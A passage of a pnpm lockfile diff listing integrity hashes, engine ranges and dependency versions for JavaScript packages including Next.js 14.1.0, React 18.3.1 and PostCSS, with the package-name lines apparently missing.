1.3.0+ dev: true++ resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}+ dev: true++ resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}+ dev: true++ resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==}+ engines: {node: '>= 0.4'}+ dependencies:+ define-data-property: 1.1.4+ es-object-atoms: 1.1.1+ get-intrinsic: 1.3.0+ get-proto: 1.0.1+ has-symbols: 1.1.0+ set-function-name: 2.0.2+ dev: true++ resolution: {integrity: sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==}+ engines: {node: '>=14'}+ dependencies:+ '@isaacs/cliui': 8.0.2+ optionalDependencies:+ '@pkgjs/parseargs': 0.11.0+ dev: true++ resolution: {integrity: sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==}+ engines: {node: '>=10'}+ dev: true++ resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==}++ resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==}+ hasBin: true+ dependencies:+ argparse: 2.0.1+ dev: true++ resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==}+ dev: true++ resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==}+ dev: true++ resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==}+ dev: true++ resolution: {integrity: sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==}+ hasBin: true+ dependencies:+ minimist: 1.2.8+ dev: true++ resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==}+ engines: {node: '>=4.0'}+ dependencies:+ array-includes: 3.1.9+ array.prototype.flat: 1.3.3+ object.assign: 4.1.7+ object.values: 1.2.1+ dev: true++ resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==}+ dependencies:+ json-buffer: 3.0.1+ dev: true++ resolution: {integrity: sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==}+ dev: true++ resolution: {integrity: sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==}+ engines: {node: '>=0.10'}+ dependencies:+ language-subtag-registry: 0.3.23+ dev: true++ resolution: {integrity: sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==}+ dev: false++ resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==}+ engines: {node: '>= 0.8.0'}+ dependencies:+ prelude-ls: 1.2.1+ type-check: 0.4.0+ dev: true++ resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==}+ engines: {node: '>=14'}+ dev: true++ resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==}+ dev: true++ resolution: {integrity: sha512-IXO6OCs9yg8tMKzfPZ1YmheJbZCiEsnBdcB03l0OcfK9prKnJb96siuHCr5Fl37/yo9DnKU+TLpxzTUspw9shg==}+ engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}+ dev: true++ resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==}+ engines: {node: '>=10'}+ dependencies:+ p-locate: 5.0.0+ dev: true++ resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==}+ dev: true++ resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==}+ dev: false++ resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==}+ hasBin: true+ dependencies:+ js-tokens: 4.0.0++ resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==}+ dev: true++ resolution: {integrity: sha512-3UZsqyswRXjW4t+nw+InICewSimjPKHuSxiFYqTshv9xkK3tPPntXk/lvXc9pKlXIxm3v9WKyoxcrB6YHhP+dg==}+ peerDependencies:+ react: ^16.5.1 || ^17.0.0 || ^18.0.0+ dependencies:+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==}+ dependencies:+ '@jridgewell/sourcemap-codec': 1.5.5+ dev: true++ resolution: {integrity: sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==}+ engines: {node: '>= 18'}+ hasBin: true+ dev: false++ resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==}+ engines: {node: '>= 8'}+ dev: true++ resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==}+ engines: {node: '>=8.6'}+ dependencies:+ braces: 3.0.3+ picomatch: 2.3.2+ dev: true++ resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==}+ dependencies:+ brace-expansion: 1.1.14+ dev: true++ resolution: {integrity: sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==}+ engines: {node: '>=16 || 14 >=14.17'}+ dependencies:+ brace-expansion: 2.1.0+ dev: true++ resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==}+ engines: {node: '>=16 || 14 >=14.17'}+ dependencies:+ brace-expansion: 2.1.0+ dev: true++ resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}+ dev: true++ resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==}+ engines: {node: '>=16 || 14 >=14.17'}+ dev: true++ resolution: {integrity: sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA==}+ dependencies:+ acorn: 8.16.0+ pathe: 2.0.3+ pkg-types: 1.3.1+ ufo: 1.6.4+ dev: true++ resolution: {integrity: sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==}+ dependencies:+ dompurify: 3.2.7+ marked: 14.0.0+ dev: false++ resolution: {integrity: sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw==}+ dependencies:+ motion-utils: 11.18.1+ dev: false++ resolution: {integrity: sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA==}+ dev: false++ resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}+ dev: true++ resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==}+ dependencies:+ any-promise: 1.3.0+ object-assign: 4.1.1+ thenify-all: 1.6.0+ dev: true++ resolution: {integrity: sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==}+ engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}+ hasBin: true++ resolution: {integrity: sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==}+ engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==}+ dev: true++ resolution: {integrity: sha512-wlzrsbfeSU48YQBjZhDzOwhWhGsy+uQycR8bHAOt1LY1bn3zZEcDyHQOEoN3aWzQ8LHCAJ1nqrWCc9XF2+O45Q==}+ engines: {node: '>=18.17.0'}+ deprecated: This version has a security vulnerability. Please upgrade to a patched version. See https://nextjs.org/blog/security-update-2025-12-11 for more details.+ hasBin: true+ peerDependencies:+ '@opentelemetry/api': ^1.1.0+ react: ^18.2.0+ react-dom: ^18.2.0+ sass: ^1.3.0+ peerDependenciesMeta:+ '@opentelemetry/api':+ optional: true+ sass:+ optional: true+ dependencies:+ '@next/env': 14.1.0+ '@swc/helpers': 0.5.2+ busboy: 1.6.0+ caniuse-lite: 1.0.30001791+ graceful-fs: 4.2.11+ postcss: 8.4.31+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ styled-jsx: 5.1.1([email protected])+ optionalDependencies:+ '@next/swc-darwin-arm64': 14.1.0+ '@next/swc-darwin-x64': 14.1.0+ '@next/swc-linux-arm64-gnu': 14.1.0+ '@next/swc-linux-arm64-musl': 14.1.0+ '@next/swc-linux-x64-gnu': 14.1.0+ '@next/swc-linux-x64-musl': 14.1.0+ '@next/swc-win32-arm64-msvc': 14.1.0+ '@next/swc-win32-ia32-msvc': 14.1.0+ '@next/swc-win32-x64-msvc': 14.1.0+ transitivePeerDependencies:+ - '@babel/core'+ - babel-plugin-macros+ dev: false++ resolution: {integrity: sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==}+ engines: {node: '>= 0.4'}+ dependencies:+ array.prototype.flatmap: 1.3.3+ es-errors: 1.3.0+ object.entries: 1.1.9+ semver: 6.3.1+ dev: true++ resolution: {integrity: sha512-3qT/88Y3FbH/Kx4szpQQ4HzUbVrHPKTLVpVocKiLfoYvw9XSGOX2FmD2d6DrXbVYyAQTF2HeF6My8jmzx7/CRw==}+ dev: true++ resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==}+ engines: {node: '>=0.10.0'}++ resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==}+ engines: {node: '>= 6'}+ dev: true++ resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-object-atoms: 1.1.1+ has-symbols: 1.1.0+ object-keys: 1.1.1+ dev: true++ resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ dev: true++ resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}+ dependencies:+ wrappy: 1.0.2+ dev: true++ resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==}+ engines: {node: '>= 0.8.0'}+ dependencies:+ deep-is: 0.1.4+ fast-levenshtein: 2.0.6+ levn: 0.4.1+ prelude-ls: 1.2.1+ type-check: 0.4.0+ word-wrap: 1.2.5+ dev: true++ resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==}+ engines: {node: '>= 0.4'}+ dependencies:+ get-intrinsic: 1.3.0+ object-keys: 1.1.1+ safe-push-apply: 1.0.0+ dev: true++ resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==}+ engines: {node: '>=10'}+ dependencies:+ yocto-queue: 0.1.0+ dev: true++ resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==}+ engines: {node: '>=10'}+ dependencies:+ p-limit: 3.1.0+ dev: true++ resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==}+ engines: {node: '>=6'}+ dependencies:+ callsites: 3.1.0+ dev: true++ resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==}+ dev: true++ resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==}+ engines: {node: '>=16 || 14 >=14.18'}+ dependencies:+ lru-cache: 10.4.3+ minipass: 7.1.3+ dev: true++ resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==}+ dev: true++ resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==}++ resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==}+ engines: {node: '>=8.6'}+ dev: true++ resolution: {integrity: sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==}+ engines: {node: '>=12'}+ dev: true++ resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==}+ engines: {node: '>= 6'}+ dev: true++ resolution: {integrity: sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==}+ dependencies:+ confbox: 0.1.8+ mlly: 1.8.2+ pathe: 2.0.3+ dev: true++ resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==}+ engines: {node: '>=14.0.0'}+ peerDependencies:+ postcss: ^8.0.0+ dependencies:+ postcss: 8.5.13+ postcss-value-parser: 4.2.0+ read-cache: 1.0.0+ resolve: 1.22.12+ dev: true++ resolution: {integrity: sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==}+ engines: {node: ^12 || ^14 || >= 16}+ peerDependencies:+ postcss: ^8.4.21+ dependencies:+ camelcase-css: 2.0.1+ postcss: 8.5.13+ dev: true++ resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==}+ engines: {node: '>= 18'}+ peerDependencies:+ jiti: '>=1.21.0'+ postcss: '>=8.0.9'+ tsx: ^4.8.1+ yaml: ^2.4.2+ peerDependenciesMeta:+ jiti:+ optional: true+ postcss:+ optional: true+ tsx:+ optional: true+ yaml:+ optional: true+ dependencies:+ jiti: 1.21.7+ lilconfig: 3.1.3+ postcss: 8.5.13+ dev: true++ resolution: {integrity: sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==}+ engines: {node: '>=12.0'}+ peerDependencies:+ postcss: ^8.2.14+ dependencies:+ postcss: 8.5.13+ postcss-selector-parser: 6.1.2+ dev: true++ resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==}+ engines: {node: '>=4'}+ dependencies:+ cssesc: 3.0.0+ util-deprecate: 1.0.2+ dev: true++ resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==}+ dev: true++ resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==}+ engines: {node: ^10 || ^12 || >=14}+ dependencies:+ nanoid: 3.3.12+ picocolors: 1.1.1+ source-map-js: 1.2.1+ dev: false++ resolution: {integrity: sha512-qif0+jGGZoLWdHey3UFHHWP0H7Gbmsk8T5VEqyYFbWqPr1XqvLGBbk/sl8V5exGmcYJklJOhOQq1pV9IcsiFag==}+ engines: {node: ^10 || ^12 || >=14}+ dependencies:+ nanoid: 3.3.12+ picocolors: 1.1.1+ source-map-js: 1.2.1+ dev: true++ resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==}+ engines: {node: '>= 0.8.0'}+ dev: true++ resolution: {integrity: sha512-7igPTM53cGHMW8xWuVTydi2KO233VFiTNyF5hLJqpilHfmn8C8gPf+PS7dUT64YcXFbiMGZxS9pCSxL/Dxm/Jw==}+ engines: {node: '>=14'}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==}+ dependencies:+ loose-envify: 1.4.0+ object-assign: 4.1.1+ react-is: 16.13.1++ resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==}+ engines: {node: '>=6'}+ dev: true++ resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}+ dev: true++ resolution: {integrity: sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==}+ peerDependencies:+ react: ^18.3.1+ dependencies:+ loose-envify: 1.4.0+ react: 18.3.1+ scheduler: 0.23.2++ resolution: {integrity: sha512-bH+2EBMZ4sdyou/DPrfgIouFpcRLCJ+HoCA32UoAYHn6T3Ur5yfcDCeSr5mwldl6pFOsiocmrXMuoCJ1vV8bWg==}+ engines: {node: '>=10'}+ peerDependencies:+ react: '>=16'+ react-dom: '>=16'+ dependencies:+ csstype: 3.2.3+ goober: 2.1.18([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==}++ resolution: {integrity: sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==}+ dev: false++ resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==}+ engines: {node: '>=10'}+ peerDependencies:+ '@types/react': '*'+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ peerDependenciesMeta:+ '@types/react':+ optional: true+ dependencies:+ '@types/react': 18.3.28+ react: 18.3.1+ react-style-singleton: 2.2.3(@types/[email protected])([email protected])+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-xGVKJJr0SJGQVirVFAUZ2k1QLyO6m+2fy0l8Qawbp5Jgrv3DeLalrfMNBFSlmz5kriGGzsVBtGVnf4pTKIhhWA==}+ engines: {node: '>=10'}+ peerDependencies:+ '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0+ react: ^16.8.0 || ^17.0.0 || ^18.0.0+ peerDependenciesMeta:+ '@types/react':+ optional: true+ dependencies:+ '@types/react': 18.3.28+ react: 18.3.1+ react-remove-scroll-bar: 2.3.8(@types/[email protected])([email protected])+ react-style-singleton: 2.2.3(@types/[email protected])([email protected])+ tslib: 2.8.1+ use-callback-ref: 1.3.3(@types/[email protected])([email protected])+ use-sidecar: 1.1.3(@types/[email protected])([email protected])+ dev: false++ resolution: {integrity: sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==}+ peerDependencies:+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ dependencies:+ fast-equals: 5.4.0+ prop-types: 15.8.1+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ react-transition-group: 4.4.5([email protected])([email protected])+ dev: false++ resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==}+ engines: {node: '>=10'}+ peerDependencies:+ '@types/react': '*'+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc+ peerDependenciesMeta:+ '@types/react':+ optional: true+ dependencies:+ '@types/react': 18.3.28+ get-nonce: 1.0.1+ 